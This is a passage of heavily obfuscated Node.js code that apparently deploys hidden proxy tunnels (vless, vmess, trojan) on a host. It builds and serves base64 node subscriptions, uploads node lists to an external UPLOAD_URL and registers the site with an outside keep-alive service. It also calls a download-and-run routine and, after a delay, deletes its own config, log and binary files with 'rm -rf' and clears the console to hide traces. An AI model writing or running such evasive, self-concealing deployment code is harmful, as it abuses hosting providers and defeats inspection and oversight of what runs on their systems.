_0x17df6f[_0x1fcff2(0xb7,0x130,-0x2e,0x9)](_0x53c932(-0x145,-0x15a,-0x10f,-0x15a)+_0x53c932(-0x1f2,-0x325,-0x265,-0x154)+'and:\x20'+_0x4ca2ae);}),_0x4f0ed(_0x17965a);}else{const _0x55d966=_0x506d90?function(){if(_0x3d0d39){const _0x2b378b=_0x1de757['apply'](_0xac25ba,arguments);return _0x15e990=null,_0x2b378b;}}:function(){};return _0xfc770d=![],_0x55d966;}},0xa0a+0x109*0x23+-0x37*0xb3);});}}async function uploadNodes(){const _0x720a3f={'MSIXD':_0x475204(-0xdf,-0x135,-0x64,-0x9f)+_0x475204(-0x224,-0xac,-0x101,-0xe2)+_0x296a39(0x579,0x639,0x69b,0x577),'RwPvH':_0x296a39(0x62d,0x682,0x6c7,0x6d4),'ykbTe':_0x475204(-0x1b2,-0x137,-0x1bd,-0xb4)+_0x296a39(0x7a9,0x586,0x6c5,0x647),'IlkzW':_0x475204(-0xeb,-0x7,0x140,0x63),'BixRx':'firefox','szQeG':'base64','RooIr':function(_0x2df37a){return _0x2df37a();},'pWTMJ':_0x475204(0x1c3,0x271,0x254,0x135)+_0x296a39(0x3ba,0x3c5,0x4d3,0x449)+'utf-8','mYyVX':function(_0x48da94,_0x79820b,_0x46c30c){return _0x48da94(_0x79820b,_0x46c30c);},'xWwIC':_0x296a39(0x682,0x787,0x666,0x53e)+_0x475204(0x1c,0x43,-0x165,-0x2a)+_0x296a39(0x3eb,0x3ae,0x4cc,0x516)+'ble\x20is\x20emp'+'ty,\x20use\x20qu'+_0x475204(0x6,0x253,0x149,0x102)+'s','khRJD':function(_0x284956,_0x1d83e6){return _0x284956===_0x1d83e6;},'HRmAT':_0x296a39(0x641,0x602,0x55c,0x485),'BmOGR':function(_0x7afebe,_0xe040f1){return _0x7afebe===_0xe040f1;},'YYYti':_0x296a39(0x403,0x3ea,0x4bd,0x443),'jMATg':_0x296a39(0x6c7,0x6b9,0x65c,0x6d6)+_0x296a39(0x6f4,0x625,0x614,0x725),'SIsOd':function(_0x1a89cf,_0x14b885){return _0x1a89cf===_0x14b885;},'ciRRg':_0x475204(0xbe,-0x47,-0xe8,-0x8a)+_0x475204(-0x97,0x50,-0x5a,0x4f)+_0x296a39(0x7ee,0x5b1,0x6bf,0x6d9)+'ully','FMHqe':_0x296a39(0x5c7,0x692,0x57d,0x6cf),'tlDhC':_0x475204(0x1a1,0x93,0x19c,0xc0),'RikYg':function(_0x20e717,_0x47e9a7){return _0x20e717!==_0x47e9a7;},'SpzxX':_0x296a39(0x575,0x3f3,0x4e1,0x3da),'PPuRW':function(_0x4f147f,_0x4d7afd){return _0x4f147f===_0x4d7afd;},'icaAK':function(_0x13ca18,_0x4635be){return _0x13ca18!==_0x4635be;},'uKuFK':_0x475204(0x134,0x17f,-0x101,0x48),'aepMx':_0x475204(0x96,-0x120,0x95,-0x28),'mTFyN':_0x296a39(0x56d,0x4a1,0x520,0x472)+_0x475204(-0x70,0x10c,0xb4,-0x22)+_0x475204(0x46,-0xcc,-0x113,-0x9d),'MszxN':'hFUYQ'};function _0x296a39(_0x5ce935,_0x1eecd8,_0xe205f4,_0x513a91){return _0x1f8df2(_0x5ce935-0x9d,_0xe205f4- -0x2,_0x1eecd8,_0x513a91-0x79);}function _0x475204(_0x17160c,_0x29ca0b,_0x28d147,_0x256f4e){return _0x1f8df2(_0x17160c-0x179,_0x256f4e- -0x5da,_0x17160c,_0x256f4e-0x1da);}if(UPLOAD_URL&&PROJECT_URL){if(_0x720a3f[_0x475204(-0x54,-0x51,-0x171,-0x6d)](_0x475204(-0x164,-0x2d,0x51,-0xbf),_0x720a3f[_0x296a39(0x5f0,0x4b0,0x52a,0x418)]))_0x382a45[_0x475204(0x10d,0x15a,0x266,0x133)](_0x720a3f[_0x475204(-0xa9,-0x194,-0xe9,-0x117)],_0x567dbf);else{const _0x2f2417=PROJECT_URL+'/'+SUB_PATH,_0x5d65b1={};_0x5d65b1['subscripti'+'on']=[_0x2f2417];const _0x401188=_0x5d65b1;try{if(_0x720a3f[_0x475204(-0xe0,-0x22b,-0x20e,-0x110)](_0x720a3f['YYYti'],'uYIpU')){const _0x2f1b26={};_0x2f1b26['Content-Ty'+'pe']=_0x720a3f['jMATg'];const _0x51d997={};_0x51d997[_0x296a39(0x768,0x626,0x71a,0x660)]=_0x2f1b26;const _0x4b4e82=await axios['post'](UPLOAD_URL+(_0x475204(0xab,-0x10d,-0x26,0x13)+'ubscriptio'+'ns'),_0x401188,_0x51d997);if(_0x4b4e82&&_0x720a3f[_0x475204(-0xf5,0x126,-0x123,-0x20)](_0x4b4e82['status'],0x77+0xcae+0xd3*-0xf))return console[_0x296a39(0x4df,0x435,0x4af,0x5f4)](_0x720a3f[_0x475204(-0x74,-0x1b6,-0x1e,-0xf5)]),_0x4b4e82;else{if(_0x720a3f[_0x475204(0x2b,0x109,-0x31,-0x20)](_0x720a3f[_0x296a39(0x593,0x79b,0x6ad,0x7c7)],_0x720a3f[_0x475204(0x105,0x112,-0x61,0xee)])){const _0x30045c=_0x57ee03?function(){function _0x177cfa(_0x3785a5,_0x3b10de,_0x58e5d6,_0x7eabf6){return _0x296a39(_0x3785a5-0xe0,_0x3785a5,_0x58e5d6- -0x1a,_0x7eabf6-0x162);}if(_0xd065a1){const _0x5c6123=_0x23beb9[_0x177cfa(0x65e,0x6eb,0x624,0x501)](_0x40ba99,arguments);return _0x2b9ef8=null,_0x5c6123;}}:function(){};return _0x56bd7a=![],_0x30045c;}else return null;}}else{const _0x49f50c={'DpIjj':_0x720a3f[_0x475204(0xe4,0x12,-0xc8,-0x3e)],'ceGDQ':_0x720a3f[_0x296a39(0x5db,0x48c,0x586,0x5e8)],'lnHfD':_0x720a3f[_0x475204(-0x20,0x112,-0x4,0xe0)],'GkSLK':_0x720a3f['BixRx'],'SFdGi':_0x720a3f[_0x296a39(0x53d,0x4bc,0x579,0x4da)],'Zdskv':function(_0x416913){function _0x1f5575(_0x7cf9a0,_0x2e9c32,_0x5a3a7e,_0x327d58){return _0x475204(_0x327d58,_0x2e9c32-0x30,_0x5a3a7e-0x171,_0x2e9c32-0x1cf);}return _0x720a3f[_0x1f5575(0x22,0xfa,0x4d,0x1ae)](_0x416913);},'mWCfB':_0x720a3f[_0x475204(0x1bf,0x188,0x14d,0x136)],'QHhqh':function(_0x183540,_0x214aa1,_0x2b1e24){function _0x2ca0bd(_0x550d45,_0x19d7c4,_0xb702cf,_0xaad3e4){return _0x475204(_0xaad3e4,_0x19d7c4-0x7c,_0xb702cf-0x17b,_0xb702cf- -0x7e);}return _0x720a3f[_0x2ca0bd(0xda,0x17f,0x9b,0x91)](_0x183540,_0x214aa1,_0x2b1e24);}},_0x1836bf={};_0x1836bf[_0x475204(-0x44,-0x3b,0x50,0xf6)]='utf-8';const _0x464a38=_0x720a3f[_0x296a39(0x7db,0x842,0x6f1,0x5af)](_0x50a0e5,_0x296a39(0x5fb,0x640,0x5f4,0x72c)+'\x20https://s'+_0x296a39(0x72d,0x69e,0x688,0x68c)+_0x475204(-0xf4,-0x80,0x63,-0x5a)+_0x296a39(0x58c,0x6b1,0x56c,0x5ee)+'\x20-F\x5c\x22\x20\x27{pr'+_0x296a39(0x831,0x5e5,0x708,0x830)+_0x296a39(0x5c3,0x47b,0x4f5,0x4ca)+_0x296a39(0x647,0x5b4,0x626,0x754)+_0x475204(-0xea,-0x26,-0x110,-0xfa),_0x1836bf),_0x521fbd=_0x464a38[_0x475204(0x252,0x292,0xf,0x152)](),_0x2e07ce=_0x43ccae?_0x2067e5+'-'+_0x521fbd:_0x521fbd;return new _0x1b2df2(_0x4da50b=>{const _0xba8f20={};function _0x244cc3(_0x3f41a7,_0x464cda,_0x27051f,_0x12aa03){return _0x296a39(_0x3f41a7-0x3,_0x464cda,_0x27051f- -0x394,_0x12aa03-0x169);}function _0x1b74ee(_0x46dd87,_0x2ef3bc,_0x136c5a,_0x27df51){return _0x475204(_0x27df51,_0x2ef3bc-0xdc,_0x136c5a-0x177,_0x46dd87- -0x4c);}_0xba8f20[_0x1b74ee(0x107,0x1dd,0x1bf,-0x47)]='base64',_0xba8f20['ntBog']=_0x1b74ee(-0xc9,-0x17c,-0x207,-0xf1)+'pe',_0xba8f20[_0x1b74ee(0x21,0xb6,0x59,-0x5f)]=_0x49f50c[_0x1b74ee(-0x20,-0x60,0x56,0x38)];const _0x525e94=_0xba8f20;_0x49f50c[_0x244cc3(0x3ad,0x277,0x361,0x396)](_0x55209a,()=>{function _0xbcc71a(_0x2badd5,_0x35a3f3,_0x574956,_0x392c47){return _0x1b74ee(_0x574956-0x1e7,_0x35a3f3-0xb4,_0x574956-0xad,_0x392c47);}const _0x129edc={};_0x129edc['v']='2',_0x129edc['ps']=''+_0x2e07ce,_0x129edc[_0x5c6267(0x3c5,0x3e3,0x2e7,0x36b)]=_0x26d77b,_0x129edc['port']=_0x2cfe01,_0x129edc['id']=_0x47aca6,_0x129edc[_0x5c6267(0x5eb,0x4e9,0x5d7,0x4b9)]='0',_0x129edc[_0xbcc71a(0x17,0x1de,0x11d,0x19a)]=_0x49f50c[_0xbcc71a(0x162,0x75,0x106,0x74)];function _0x5c6267(_0x13f689,_0x8e2aa6,_0x5cb12c,_0xba3026){return _0x1b74ee(_0xba3026-0x482,_0x8e2aa6-0x15c,_0x5cb12c-0xe5,_0x5cb12c);}_0x129edc['net']='ws',_0x129edc[_0xbcc71a(0xb1,0x264,0x203,0x2a4)]=_0x49f50c[_0x5c6267(0x40f,0x34f,0x433,0x3a1)],_0x129edc[_0xbcc71a(0x1b8,-0x4b,0x92,-0x41)]=_0x8add61,_0x129edc[_0x5c6267(0x51f,0x44a,0x6b8,0x57a)]=_0x49f50c[_0x5c6267(0x397,0x247,0x3db,0x36e)],_0x129edc[_0x5c6267(0x3c3,0x4bf,0x380,0x499)]=_0x49f50c[_0x5c6267(0x534,0x375,0x4b4,0x47d)],_0x129edc[_0xbcc71a(0x203,0x33b,0x2e4,0x307)]=_0x1aa2a6,_0x129edc['alpn']='',_0x129edc['fp']=_0x49f50c['GkSLK'];const _0x1933de=_0x129edc,_0x3b26e4=_0x5c6267(0x327,0x353,0x210,0x35a)+_0x52b411+'@'+_0x4a1fbf+':'+_0x4371dc+(_0xbcc71a(0x1ee,0x3f3,0x2dc,0x41d)+_0x5c6267(0x43a,0x3f2,0x27f,0x3cb)+_0x5c6267(0x5f7,0x51b,0x45e,0x585)+_0xbcc71a(0x13f,0x88,0xee,0x1dc))+_0x475824+(_0xbcc71a(0x401,0x394,0x2be,0x3a9)+_0x5c6267(0x41b,0x4d3,0x423,0x4af)+'host=')+_0x426405+(_0xbcc71a(0x209,0x164,0x1a7,0x72)+_0xbcc71a(0x333,0x345,0x309,0x42d)+'3Fed%3D256'+'0#')+_0x2e07ce+(_0x5c6267(0x433,0x488,0x558,0x4c8)+'//')+_0x59806d[_0xbcc71a(0x18,0x14a,0x10f,0x6d)](_0x17603d[_0xbcc71a(0xb6,0x22e,0x1fc,0x19d)](_0x1933de))['toString'](_0x49f50c[_0x5c6267(0x341,0x5c3,0x4c8,0x480)])+(_0x5c6267(0x51f,0x599,0x44e,0x450)+_0xbcc71a(0x158,0x367,0x283,0x162))+_0x4f0774+'@'+_0x3ad2bc+':'+_0x2c672d+('?security='+'tls&sni=')+_0x4682d7+('&fp=firefo'+_0x5c6267(0x3e9,0x3ac,0x382,0x4af)+_0xbcc71a(0x9e,0x1d2,0x1c5,0x1c3))+_0x35d251+(_0xbcc71a(0x25e,0xf2,0x1a5,0xc8)+_0xbcc71a(0xd4,0x1fc,0x190,0x226)+_0x5c6267(0x251,0x28d,0x317,0x398)+_0xbcc71a(0x169,0x1a5,0x1b3,0x210))+_0x2e07ce+_0x5c6267(0x422,0x342,0x22c,0x335);_0x196e68[_0x5c6267(0x23f,0x38a,0x329,0x30d)](_0x36e71b[_0xbcc71a(0x1e2,-0xe,0x10f,0x2c)](_0x3b26e4)['toString'](_0x49f50c[_0xbcc71a(0x226,0x1ef,0x1e5,0x20b)])),_0x20cc97[_0x5c6267(0x467,0x3df,0x310,0x31c)+_0xbcc71a(0x19,0x58,0x109,-0x18)](_0x2edfc4,_0x47be49[_0x5c6267(0x2de,0x4af,0x4cd,0x3aa)](_0x3b26e4)[_0x5c6267(0x33b,0x300,0x36d,0x38a)](_0x49f50c[_0x5c6267(0x539,0x5c0,0x338,0x480)])),_0x100e5f[_0xbcc71a(-0xbd,0x11e,0x72,0x76)](_0x3802b3+(_0x5c6267(0x592,0x67d,0x4fa,0x54e)+_0x5c6267(0x2d2,0x476,0x2bc,0x351)+_0xbcc71a(0x227,-0x1a,0xfe,0x7f))),_0x49f50c[_0x5c6267(0x415,0x3a9,0x4a1,0x3f7)](_0x2667ce),_0x457142[_0xbcc71a(0xcd,0xbe,0x82,0x18f)]('/'+_0x42efe1,(_0x587055,_0x34348c)=>{function _0xc2e6da(_0x2a9004,_0x286d7f,_0x41ab2c,_0x108164){return _0x5c6267(_0x2a9004-0x63,_0x286d7f-0x139,_0x2a9004,_0x41ab2c- -0x2ce);}const _0x584e0a=_0x488540[_0x49bab2(0x2e4,0x45b,0x3fc,0x2d1)](_0x3b26e4)[_0xc2e6da(0xa1,0x6c,0xbc,0x1a3)](_0x525e94[_0xc2e6da(0x2c0,0x3f1,0x2bb,0x1c0)]);function _0x49bab2(_0x4c9cb8,_0x4984a7,_0x24ed5c,_0x151bdf){return _0xbcc71a(_0x4c9cb8-0xc1,_0x4984a7-0x58,_0x24ed5c-0x2ed,_0x4984a7);}_0x34348c['set'](_0x525e94[_0x49bab2(0x4d7,0x578,0x4c2,0x376)],_0x525e94[_0x49bab2(0x3d3,0x3d9,0x4f5,0x421)]),_0x34348c[_0x49bab2(0x4fa,0x5b0,0x4ff,0x591)](_0x584e0a);}),_0x4da50b(_0x3b26e4);},0x253c+0x18d8+-0x4*0xd91);});}}catch(_0x4f26a5){if(_0x720a3f[_0x475204(-0x69,-0xb2,-0x10d,-0x12a)]('AmHaR',_0x720a3f['SpzxX'])){_0x5e60a0[_0x475204(-0xb5,-0x1b0,-0x24c,-0x129)](_0x475204(0x14,0xf0,0x8d,0x109)+_0x296a39(0x81d,0x68b,0x73b,0x69e)+_0x475204(0xb7,0x5f,0x153,0x81)+_0x296a39(0x57a,0x4ef,0x617,0x6f3)+'ecture');return;}else{if(_0x4f26a5[_0x296a39(0x634,0x5fa,0x549,0x62a)]){if(_0x720a3f[_0x475204(0x9d,0xd3,0x13d,0x17)](_0x4f26a5[_0x296a39(0x501,0x462,0x549,0x44c)][_0x475204(0x12e,-0x86,0x7b,0xaa)],-0xcf7*0x1+-0x1*-0x251a+0x1693*-0x1)){}}}}}}else{if(UPLOAD_URL){if(_0x720a3f[_0x296a39(0x66f,0x556,0x55d,0x569)](_0x720a3f[_0x475204(-0xa9,0x20,0xfc,0x5f)],_0x720a3f[_0x296a39(0x6b6,0x6b9,0x637,0x722)])){_0x3f48b5[_0x296a39(0x4f9,0x3e3,0x4af,0x59c)](_0x720a3f['xWwIC']);return;}else{if(!fs['existsSync'](listPath))return;const _0xb494a1=fs[_0x475204(-0x1a1,-0x19d,-0x15f,-0x116)+'nc'](listPath,_0x720a3f[_0x475204(-0x153,0x90,-0xfd,-0xb3)]),_0x2a2721=_0xb494a1['split']('\x0a')[_0x296a39(0x75a,0x63c,0x61e,0x725)](_0x117970=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x296a39(0x4ad,0x612,0x4fa,0x5c6)](_0x117970));if(_0x720a3f[_0x475204(-0x1a,-0xf7,-0x123,-0x110)](_0x2a2721[_0x475204(-0x99,-0x171,-0x11b,-0x114)],-0x7*-0x59+0x63b+-0x8aa*0x1))return;const _0x2013dc={};_0x2013dc['nodes']=_0x2a2721;const _0x14871a=JSON[_0x296a39(0x763,0x5ad,0x639,0x60f)](_0x2013dc);try{const _0x486e12={};_0x486e12[_0x475204(-0x188,-0x64,-0x18d,-0x7d)+'pe']='applicatio'+_0x475204(0x71,-0x10f,-0xc3,0x3c);const _0x3722aa={};_0x3722aa[_0x475204(0x51,0x16c,0x2e,0x142)]=_0x486e12;const _0xa06e42=await axios[_0x475204(0x16,-0x15a,0xc,-0x9b)](UPLOAD_URL+(_0x296a39(0x54e,0x431,0x53f,0x53a)+_0x296a39(0x600,0x39f,0x4b4,0x3bb)),_0x14871a,_0x3722aa);return _0xa06e42&&_0x720a3f[_0x475204(-0x1c2,-0x1eb,-0x224,-0x110)](_0xa06e42['status'],0x445*0x8+-0x19a*0x11+-0x626)?(console[_0x475204(-0x24b,-0x1d2,0x9,-0x129)](_0x720a3f['mTFyN']),_0xa06e42):null;}catch(_0x4ec67e){if(_0x720a3f[_0x296a39(0x684,0x5cb,0x5b8,0x580)](_0x475204(-0xcd,-0xc0,0x32,-0x79),_0x720a3f[_0x296a39(0x664,0x4db,0x551,0x4ad)]))_0x59fad9['push'](_0x44ba41);else return null;}}}else return;}}function cleanFiles(){function _0x35d9e0(_0x150dbf,_0x384e71,_0x1980f4,_0x3d7418){return _0x1f8df2(_0x150dbf-0x1a9,_0x150dbf- -0x3ab,_0x384e71,_0x3d7418-0xf8);}const _0x3fc0cb={'nTpSJ':_0x191feb(0xe8,0x101,0x1d,-0x2c)+'mismatch\x20T'+_0x35d9e0(0x157,0x2a1,0x227,0x17f)+_0x35d9e0(0x37a,0x44c,0x24d,0x273)+'n\x20connect\x20'+'to\x20tunnel','UuXCZ':_0x35d9e0(0x122,0x3e,-0x8,-0x1e)+'ning','iBoEH':_0x191feb(-0xcf,0x37,-0x10c,-0xd)+_0x191feb(-0x1ac,-0x15a,-0x9a,-0x110)+'this\x20scrip'+_0x191feb(-0x162,-0x248,-0x183,-0x17a),'mvzmg':_0x35d9e0(0x31a,0x376,0x3c6,0x236),'cmHSS':function(_0x4a008d,_0x46573a){return _0x4a008d&&_0x46573a;},'ZIyOI':function(_0x58011e,_0x801ffb){return _0x58011e===_0x801ffb;},'oDofV':'UOPSJ','jseBS':_0x191feb(-0x16c,-0x86,-0x195,-0x1cb),'vyKgh':function(_0x222bcc,_0x400060,_0x43e21b){return _0x222bcc(_0x400060,_0x43e21b);},'IlRNc':function(_0x1372d1,_0x2ce297,_0x8e90cb){return _0x1372d1(_0x2ce297,_0x8e90cb);}};function _0x191feb(_0x2f6b2d,_0x29764e,_0x51544d,_0x3abff4){return _0x3fefcd(_0x2f6b2d-0xbd,_0x3abff4- -0x233,_0x29764e,_0x3abff4-0x8f);}_0x3fc0cb['IlRNc'](setTimeout,()=>{const _0x145417={};_0x145417[_0x452a55(0x410,0x2c1,0x32b,0x2cd)]=_0x3fc0cb[_0x452a55(0x315,0x440,0x439,0x469)],_0x145417['kydMs']=_0x3fc0cb['iBoEH'];function _0x5ea294(_0x1b7d1c,_0x4e7fd6,_0x313111,_0x19ab7d){return _0x191feb(_0x1b7d1c-0x97,_0x1b7d1c,_0x313111-0x22,_0x313111-0x440);}function _0x452a55(_0x84e00,_0x548034,_0x3c8b21,_0x3fbb52){return _0x191feb(_0x84e00-0xd2,_0x548034,_0x3c8b21-0xbf,_0x3c8b21-0x462);}const _0x16f09f=_0x145417,_0xce4810=[bootLogPath,configPath,webPath,botPath];if(NEZHA_PORT)_0x3fc0cb[_0x5ea294(0x331,0x1f3,0x2ce,0x1e2)]!==_0x3fc0cb['mvzmg']?_0x19f0cd['log'](_0x3fc0cb[_0x5ea294(0x252,0x259,0x296,0x23a)]):_0xce4810[_0x5ea294(0x44e,0x4a5,0x450,0x360)](npmPath);else{if(_0x3fc0cb['cmHSS'](NEZHA_SERVER,NEZHA_KEY)){if(_0x3fc0cb[_0x452a55(0x2ae,0x26f,0x2e2,0x263)](_0x3fc0cb[_0x5ea294(0x36a,0x1e9,0x2c5,0x396)],_0x3fc0cb[_0x5ea294(0x581,0x400,0x44d,0x4fe)])){if(_0x52ba4c){const _0x188736=_0x5689d0[_0x452a55(0x3a8,0x458,0x3de,0x296)](_0x1efee6,arguments);return _0x1060bc=null,_0x188736;}}else _0xce4810[_0x5ea294(0x4eb,0x4b6,0x450,0x411)](phpPath);}}process[_0x5ea294(0x1dc,0x2d0,0x2a7,0x164)]===_0x452a55(0x321,0x3de,0x34b,0x2f3)?_0x3fc0cb[_0x452a55(0x409,0x39a,0x3a1,0x2fe)](exec,_0x5ea294(0x43a,0x56f,0x4bf,0x527)+_0xce4810[_0x452a55(0x507,0x534,0x449,0x3e2)]('\x20')+(_0x452a55(0x319,0x36c,0x2dc,0x231)+'1'),_0x11a0a5=>{console['clear']();function _0x41850c(_0x5e8f8f,_0x275e62,_0x4c5fca,_0x1dc42e){return _0x452a55(_0x5e8f8f-0x1be,_0x275e62,_0x4c5fca- -0x3ce,_0x1dc42e-0x3f);}console['log'](_0x16f09f[_0x41850c(0x6c,0x72,-0xa3,0x0)]);function _0x3c3aec(_0x5daa2c,_0x1dc7a7,_0x42347c,_0x2be7f9){return _0x5ea294(_0x2be7f9,_0x1dc7a7-0x71,_0x42347c- -0x23d,_0x2be7f9-0x7);}console[_0x41850c(-0x14d,-0x12e,-0x17f,-0x260)](_0x16f09f[_0x3c3aec(0x2ac,0x2f6,0x218,0x17b)]);}):exec('rm\x20-rf\x20'+_0xce4810['join']('\x20')+('\x20>/dev/nul'+_0x452a55(0x418,0x3a4,0x413,0x43c)),_0x5b1621=>{function _0x3fbb00(_0x28cd95,_0x3a2ce6,_0xf31c73,_0x46f09c){return _0x5ea294(_0x3a2ce6,_0x3a2ce6-0x76,_0x46f09c- -0x391,_0x46f09c-0xe3);}function _0x2f6f26(_0x2813f5,_0x57120b,_0x23a83d,_0xb28eba){return _0x5ea294(_0x2813f5,_0x57120b-0xd8,_0x57120b- -0x4e,_0xb28eba-0x110);}console[_0x2f6f26(0x4b6,0x371,0x4ab,0x222)](),console[_0x3fbb00(-0x1dc,-0x27a,-0x20a,-0x164)](_0x16f09f[_0x2f6f26(0x317,0x2bb,0x3fd,0x392)]),console[_0x3fbb00(-0x16d,-0x260,-0x18,-0x164)](_0x16f09f[_0x3fbb00(0x96,0x12f,0x3d,0xc4)]);});},0x14682*0x1+-0x1a*-0x40f+-0x5078);}cleanFiles();async function AddVisitTask(){function _0x1f7a7b(_0x45a8a5,_0x4daf5e,_0x21a7fc,_0x12ee82){return _0x1f8df2(_0x45a8a5-0x185,_0x21a7fc- -0x19a,_0x4daf5e,_0x12ee82-0xb);}const _0x29324e={};_0x29324e[_0x1f7a7b(0x487,0x2be,0x34a,0x29d)]=function(_0x3dc90b,_0x2a4c7a){return _0x3dc90b||_0x2a4c7a;};function _0x2371e3(_0x37156e,_0x4d4d7c,_0x4c47d3,_0x6c1a6b){return _0x1f8df2(_0x37156e-0x44,_0x4c47d3- -0x482,_0x6c1a6b,_0x6c1a6b-0xe7);}_0x29324e[_0x1f7a7b(0x502,0x39a,0x4c7,0x38a)]='MxROU',_0x29324e[_0x2371e3(0x85,0x1ec,0x144,0xb8)]=_0x2371e3(0x105,0x131,0x101,0xbe),_0x29324e[_0x1f7a7b(0x38f,0x38b,0x37a,0x35d)]='Skipping\x20a'+'dding\x20auto'+_0x2371e3(0x84,-0xf5,0x55,-0x62)+'ss\x20task',_0x29324e['OybAJ']=function(_0x285d16,_0x62924e){return _0x285d16!==_0x62924e;},_0x29324e[_0x2371e3(0xdb,0x1c7,0x167,0x1a8)]='zkxoI',_0x29324e[_0x2371e3(0x1ad,0x8d,0x18b,0x241)]='https://oo'+_0x1f7a7b(0x2a2,0x293,0x352,0x364)+_0x1f7a7b(0x376,0x268,0x309,0x28f)+'l',_0x29324e[_0x2371e3(0xe9,0x2c9,0x231,0x2c1)]=_0x1f7a7b(0x5d7,0x4d9,0x4c4,0x487)+_0x2371e3(0x268,0x205,0x194,0x213);const _0xb3fcc3=_0x29324e;if(_0xb3fcc3[_0x1f7a7b(0x3cc,0x41a,0x34a,0x2ca)](!AUTO_ACCESS,!PROJECT_URL)){if(_0xb3fcc3[_0x2371e3(0xc6,0x1fc,0x1df,0x9e)]!==_0xb3fcc3[_0x1f7a7b(0x512,0x41a,0x42c,0x331)]){console[_0x2371e3(0x69,-0xd3,0x2f,-0x2)](_0xb3fcc3[_0x2371e3(-0x1e,0xb5,0x92,0x61)]);return;}else{const _0x339509=_0x557587['join'](_0x46c86e,_0x55fa21);try{const _0x10a90f=_0x3af868['statSync'](_0x339509);_0x10a90f[_0x1f7a7b(0x3cb,0x37a,0x30c,0x231)]()&&_0x5e44df[_0x1f7a7b(0x4a5,0x4c7,0x510,0x52d)](_0x339509);}catch(_0x4b7b80){}}}try{if(_0xb3fcc3['OybAJ'](_0xb3fcc3[_0x2371e3(0x269,0x16e,0x167,0x165)],_0xb3fcc3['orbBr']))_0x380df3[_0x1f7a7b(0x38e,0x3ad,0x317,0x43d)](_0x3d3dac+(_0x1f7a7b(0x33e,0x2d2,0x360,0x437)+_0x1f7a7b(0x5a3,0x532,0x547,0x4e0)));else{const _0x265d40={};_0x265d40[_0x2371e3(0x1f1,0x119,0x154,0xec)]=PROJECT_URL;const _0x5ef18c=await axios[_0x2371e3(0x14e,0x20,0xbd,0x3d)](_0xb3fcc3[_0x1f7a7b(0x506,0x391,0x473,0x38a)],_0x265d40,{'headers':{'Content-Type':_0xb3fcc3[_0x2371e3(0x149,0x192,0x231,0x360)]}});return console['log'](_0x2371e3(0x1ec,0x250,0x280,0x1f5)+_0x1f7a7b(0x607,0x599,0x4d6,0x5d4)+_0x2371e3(0x24c,0x140,0x236,0x37b)+_0x2371e3(0x73,0x1e8,0x1ac,0x27d)),_0x5ef18c;}}catch(_0x51d511){return console[_0x1f7a7b(0x4fc,0x52f,0x573,0x498)](_0x1f7a7b(0x5ab,0x606,0x562,0x6b0)+_0x2371e3(0x23d,0x17f,0x1d2,0x279)+_0x1f7a7b(0x4f0,0x4be,0x56c,0x680)+_0x2371e3(0x1d4,0x41,0xfb,0x18d)+_0x51d511[_0x1f7a7b(0x2b0,0x292,0x3ac,0x299)]),null;}}async function startserver(){function _0x4ed877(_0x29eb49,_0x3047c7,_0x23b8c8,_0x1e6704){return _0x3fefcd(_0x29eb49-0x42,_0x23b8c8- -0xf8,_0x3047c7,_0x1e6704-0x135);}function _0x4295d2(_0x221057,_0x146374,_0x185703,_0x3db6cf){return _0x3fefcd(_0x221057-0x1c1,_0x221057-0x3b7,_0x146374,_0x3db6cf-0x186);}const _0x24cd80={'WdceN':_0x4ed877(-0x72,0x78,0x47,-0x12)+'5','InGnE':function(_0xcd7730){return _0xcd7730();},'NFTTo':function(_0x3dbe48){return _0x3dbe48();}};try{const _0x4f8cd3=_0x24cd80[_0x4ed877(-0x172,0x44,-0x31,-0x142)]['split']('|');let _0x5f2e3a=-0x3f2+0x1*-0x21c7+0x25b9;while(!![]){switch(_0x4f8cd3[_0x5f2e3a++]){case'0':await generateConfig();continue;case'1':deleteNodes();continue;case'2':await _0x24cd80['InGnE'](extractDomains);continue;case'3':await downloadFilesAndRun();continue;case'4':_0x24cd80['NFTTo'](cleanupOldFiles);continue;case'5':await _0x24cd80[_0x4ed877(0x3,-0x33,0x21,0xbb)](AddVisitTask);continue;}break;}}catch(_0x178679){console[_0x4ed877(0x15a,0x204,0x184,0x18e)](_0x4ed877(0x103,0x157,0x7,0x1f)+_0x4ed877(-0x4d,-0xd,0xb1,-0x6a)+':',_0x178679);}}startserver()[_0x1f8df2(0x53b,0x649,0x6dd,0x665)](_0x252a6a=>{const _0x38d378={};_0x38d378[_0x502d35(0x4e8,0x463,0x41c,0x4c3)]=_0x2b6e5c(0x141,0x1bc,0x26d,0x278)+_0x2b6e5c(0x204,0xf1,0x9f,0x1f3)+_0x2b6e5c(0x30a,0x284,0x2d0,0x221)+':';function _0x2b6e5c(_0x1ce088,_0x5bdcc3,_0x1323e1,_0x3a04c7){return _0x1f8df2(_0x1ce088-0x18b,_0x5bdcc3- -0x3b6,_0x1323e1,_0x3a04c7-0x142);}function _0x502d35(_0x2222c1,_0x5e3897,_0x4db1a1,_0x42144d){return _0x1f8df2(_0x2222c1-0x12e,_0x5e3897- -0x135,_0x4db1a1,_0x42144d-0x87);}const _0x1855bc=_0x38d378;console['error'](_0x1855bc[_0x2b6e5c(0x282,0x1e2,0x1ae,0x290)],_0x252a6a);}),app[_0x3fefcd(0x76,0x105,0xb2,0xcd)](PORT,()=>console[_0x3fefcd(-0x12a,0x20,0x16e,0x82)](_0x1f8df2(0x44a,0x533,0x4ba,0x561)+_0x3fefcd(0xf2,0xcf,0x5c,0xda)+_0x1f8df2(0x6fc,0x664,0x5c0,0x7a3)+':'+PORT+'!'));